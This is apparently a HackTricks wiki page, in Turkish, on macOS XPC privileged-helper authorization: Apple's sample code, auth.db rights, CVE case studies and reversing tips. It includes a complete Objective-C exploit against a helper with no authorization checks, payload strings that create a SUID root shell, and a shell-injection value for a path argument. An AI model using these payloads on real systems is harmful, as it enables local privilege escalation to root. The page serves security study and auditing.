macOS XPC Yetkilendirme
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
XPC Yetkilendirme
Apple ayrıca, bağlanan sürecin açık bir XPC metodunu çağırma iznine sahipse kimlik doğrulama için başka bir yöntem de önerir.
Bir uygulama ayrıcalıklı bir kullanıcı olarak işlemleri yürütmesi gerektiğinde, uygulamayı ayrıcalıklı kullanıcı olarak çalıştırmak yerine genellikle bu işlemleri gerçekleştirmek için uygulamadan çağrılabilecek bir XPC servisi olarak HelperTool’u root olarak kurar. Ancak, servisi çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
ShouldAcceptNewConnection her zaman YES
Bir örnek EvenBetterAuthorizationSample’ta bulunabilir. App/AppDelegate.m içinde HelperTool’a bağlanmaya çalışır. Ve HelperTool/HelperTool.m içinde shouldAcceptNewConnection fonksiyonu daha önce belirtilen gereksinimlerin hiçbirini kontrol etmez. Her zaman YES döndürür:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
For more information about how to properly configure this check:
macOS XPC Connecting Process Check
Uygulama hakları
Ancak, HelperTool’dan bir metod çağrıldığında bazı authorization süreçleri gerçekleşmektedir.
App/AppDelegate.m içindeki applicationDidFinishLaunching fonksiyonu, uygulama başladıktan sonra boş bir authorization reference oluşturur. Bu her zaman çalışmalıdır.
Daha sonra, setupAuthorizationRights çağrısını yaparak bu authorization reference’a bazı haklar eklemeye çalışacaktır:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Common/Common.m içindeki setupAuthorizationRights fonksiyonu, uygulamanın yetkilerini auth veritabanı /var/db/auth.db içine kaydedecektir. Veritabanında henüz olmayan yetkileri nasıl sadece eklediğine dikkat edin:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
Uygulamaların izinlerini almak için kullanılan fonksiyon enumerateRightsUsingBlock’tir; bu izinler commandInfo içinde tanımlanır:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
Bu, sürecin sonunda commandInfo içinde bildirilen izinlerin /var/db/auth.db içinde saklanacağı anlamına gelir. Orada her yöntem için gerektiren kimlik doğrulaması, izin adı ve kCommandKeyAuthRightDefault’u bulabileceğinize dikkat edin. Sonuncusu kimin bu hakkı elde edebileceğini gösterir.
There are different scopes to indicate who can access a right. Some of them are defined in AuthorizationDB.h (you can find all of them in here), but as summary:
| Name | Value | Description |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | Herkes |
| kAuthorizationRuleClassDeny | deny | Hiç kimse |
| kAuthorizationRuleIsAdmin | is-admin | Geçerli kullanıcının admin (admin grubunun içinde) olması gerekir |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | Kullanıcıdan kimlik doğrulaması istenir. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | Kullanıcıdan kimlik doğrulaması istenir. Kullanıcının admin (admin grubunun içinde) olması gerekir |
| kAuthorizationRightRule | rule | Kuralları belirtir |
| kAuthorizationComment | comment | Hakkında bazı ek yorumlar belirtir |
Rights Verification
In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Not: Bu metoda çağrı yapma hakkını elde etmek için gerekli gereksinimleri kontrol etmek amacıyla authorizationRightForCommand fonksiyonu sadece önceden bahsedilen obje commandInfo’yu kontrol eder. Ardından, fonksiyonu çağırma haklarına sahip olup olmadığını kontrol etmek için AuthorizationCopyRights’i çağırır (bayrakların kullanıcı ile etkileşime izin verdiğini unutmayın).
Bu durumda, readLicenseKeyAuthorization fonksiyonunu çağırmak için kCommandKeyAuthRightDefault @kAuthorizationRuleClassAllow olarak tanımlanmış. Bu yüzden herkes çağırabilir.
DB Bilgileri
Bu bilginin /var/db/auth.db içinde saklandığı belirtilmişti. Tüm saklı kuralları şu şekilde listeleyebilirsiniz:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
Sonra, bu hakka kimlerin erişebildiğini şu şekilde okuyabilirsiniz:
security authorizationdb read com.apple.safaridriver.allow
İzin veren haklar
Tüm izin yapılandırmalarını in here bulabilirsiniz, ancak kullanıcı etkileşimi gerektirmeyecek kombinasyonlar şunlardır:
- ‘authenticate-user’: ‘false’
- Bu en doğrudan anahtardır.
falseolarak ayarlanırsa, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlamasına gerek olmadığını belirtir. - Bu, kullanıcının ait olması gereken bir grubu belirtmek veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır.
- ‘allow-root’: ‘true’
- Eğer bir kullanıcı root olarak (yüksek ayrıcalıklara sahip) çalışıyorsa ve bu anahtar
trueolarak ayarlanmışsa, root kullanıcısı ek bir kimlik doğrulama olmadan bu hakkı elde edebilir. Ancak tipik olarak root durumuna erişmek zaten kimlik doğrulama gerektirdiğinden, bu çoğu kullanıcı için “kimlik doğrulamasız” bir senaryo değildir.
- ‘session-owner’: ‘true’
trueolarak ayarlandığında, oturum sahibi (şu anda oturum açmış olan kullanıcı) otomatik olarak bu hakkı alır. Kullanıcı zaten giriş yapmışsa bu ek kimlik doğrulamayı atlatabilir.
- ‘shared’: ‘true’
- Bu anahtar kimlik doğrulama olmadan hak vermez. Bunun yerine
trueolarak ayarlandığında, hak bir kez doğrulandıktan sonra her sürecin yeniden kimlik doğrulaması yapmasına gerek kalmadan birden fazla süreç arasında paylaşılabileceği anlamına gelir. Ancak hakkın ilk verilmesi,'authenticate-user': 'false'gibi diğer anahtarlarla birleştirilmediği sürece yine kimlik doğrulama gerektirecektir.
İlginç hakları almak için use this script kullanabilirsiniz:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Yetki Atlatma Vaka İncelemeleri
- CVE-2025-65842 – Acustica Audio Aquarius HelperTool: Ayrıcalıklı Mach servisi
com.acustica.HelperToolher bağlantıyı kabul eder vecheckAuthorization:rutiniAuthorizationCopyRights(NULL, …)çağırır, bu yüzden herhangi bir 32‑byte blob geçer.executeCommand:authorization:withReply:daha sonra saldırgan kontrollü virgülle ayrılmış dizeleri root olarakNSTask’e verir ve şu gibi payload’lar oluşturur:
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
kolayca bir SUID root shell oluşturulabiliyor. Detaylar için bu yazıda.
- CVE-2025-55076 – Plugin Alliance InstallationHelper: Dinleyici her zaman YES döndürüyor ve aynı NULL
AuthorizationCopyRightsdesenicheckAuthorization:içinde görünüyor.exchangeAppWithReply:metodu saldırganın girdisini iki kezsystem()stringine birleştiriyor; bu yüzdenappPathiçine shell meta karakterleri enjekte etmek (ör."/Applications/Test.app";chmod 4755 /tmp/rootbash;) Mach servisicom.plugin-alliance.pa-installationhelperüzerinden root kod yürütmesine yol açıyor. Daha fazla bilgi için buraya bakın. - CVE-2024-4395 – Jamf Compliance Editor helper: Bir denetim çalıştırmak
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plistdosyasını bırakıyor, Mach servisicom.jamf.complianceeditor.helper’ı ortaya çıkarıyor ve çağıranınAuthorizationExternalFormveya kod imzasını doğrulamadan-executeScriptAt:arguments:then:metodunu export ediyor. Basit bir exploitAuthorizationCreateile boş bir referans oluşturuyor,[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged]ile bağlanıyor ve istemciye rasgele ikili dosyaları root olarak çalıştırma imkânı veren metodu çağırıyor. Full reversing notes (plus PoC) için Mykola Grymalyuk’in yazısına bakın. - CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 ve 7.4.0–7.4.2, ayrıcalıklı helper’a ulaşan özel hazırlanmış XPC mesajlarını kabul ediyordu; helper yetkilendirme kontrollerinden yoksundu. Helper kendi ayrıcalıklı
AuthorizationRef’ine güvendiği için, servise mesaj gönderebilen herhangi bir yerel kullanıcı, helper’ı rasgele yapılandırma değişiklikleri veya komutları root olarak çalıştırmaya zorlayabiliyordu. Detaylar için SentinelOne’in advisory summary sayfasına bakın.
Hızlı triage ipuçları
- Bir uygulama hem GUI hem helper ile dağıtıldığında, kod gereksinimlerini diff edin ve
shouldAcceptNewConnection’ın dinleyiciyi-setCodeSigningRequirement:ile kilitleyip kilitlemediğini (ya daSecCodeCopySigningInformation’ı doğrulayıp doğrulamadığını) kontrol edin. Eksik kontroller genellikle Jamf vakası gibi CWE-863 senaryolarına yol açar. Kısa bir bakış şöyle görünür:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- Yardımcının neye yetki verdiğini düşündüğünü istemcinin sağladıklarıyla karşılaştırın. Tersine mühendislik yaparken
AuthorizationCopyRights’de durun veAuthorizationRef’in helper’ın kendi ayrıcalıklı bağlamı yerine istemci tarafından sağlananAuthorizationCreateFromExternalForm’dan kaynaklandığını doğrulayın; aksi halde yukarıdaki vakalara benzer bir CWE-863 deseni bulmuş olabilirsiniz.
Yetkilendirmenin Tersine Mühendisliği
EvenBetterAuthorization’ın kullanılıp kullanılmadığını kontrol etme
Eğer şu fonksiyonu bulursanız: [HelperTool checkAuthorization:command:] büyük olasılıkla süreç daha önce bahsedilen yetkilendirme şemasını kullanıyordur:
.png)
Bu durumda, eğer bu fonksiyon AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree gibi fonksiyonları çağırıyorsa, EvenBetterAuthorizationSample kullanılıyor demektir.
Kullanıcı etkileşimi olmadan bazı ayrıcalıklı eylemleri çağırma izni almanın mümkün olup olmadığını görmek için /var/db/auth.db’i kontrol edin.
Protokol İletişimi
Sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulmanız gerekir.
shouldAcceptNewConnection fonksiyonu dışa aktarılan protokolü gösterir:
.png)
Bu durumda, EvenBetterAuthorizationSample’dakine aynı şeye sahibiz, bu satırı kontrol edin.
Kullanılan protokolün adını bildiğinizde, başlık tanımını aşağıdaki şekilde dump edebilirsiniz:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
Son olarak, onunla iletişim kurmak için açığa çıkmış Mach Service’in adını bilmemiz yeterli. Bunu bulmanın birkaç yolu var:
[HelperTool init]içinde Mach Service’in kullanıldığını görebileceğiniz yer:
.png)
- launchd plist’te:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit Örneği
In this example is created:
- Fonksiyonlarla birlikte protokolün tanımı
- Erişim istemek için kullanılacak boş bir auth
- XPC servisine bir bağlantı
- Bağlantı başarılıysa fonksiyon çağrısı
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
Kötüye Kullanılan Diğer XPC privilege yardımcıları
Referanslar
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
- https://almightysec.com/helpertool-xpc-service-local-privilege-escalation/
- https://almightysec.com/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


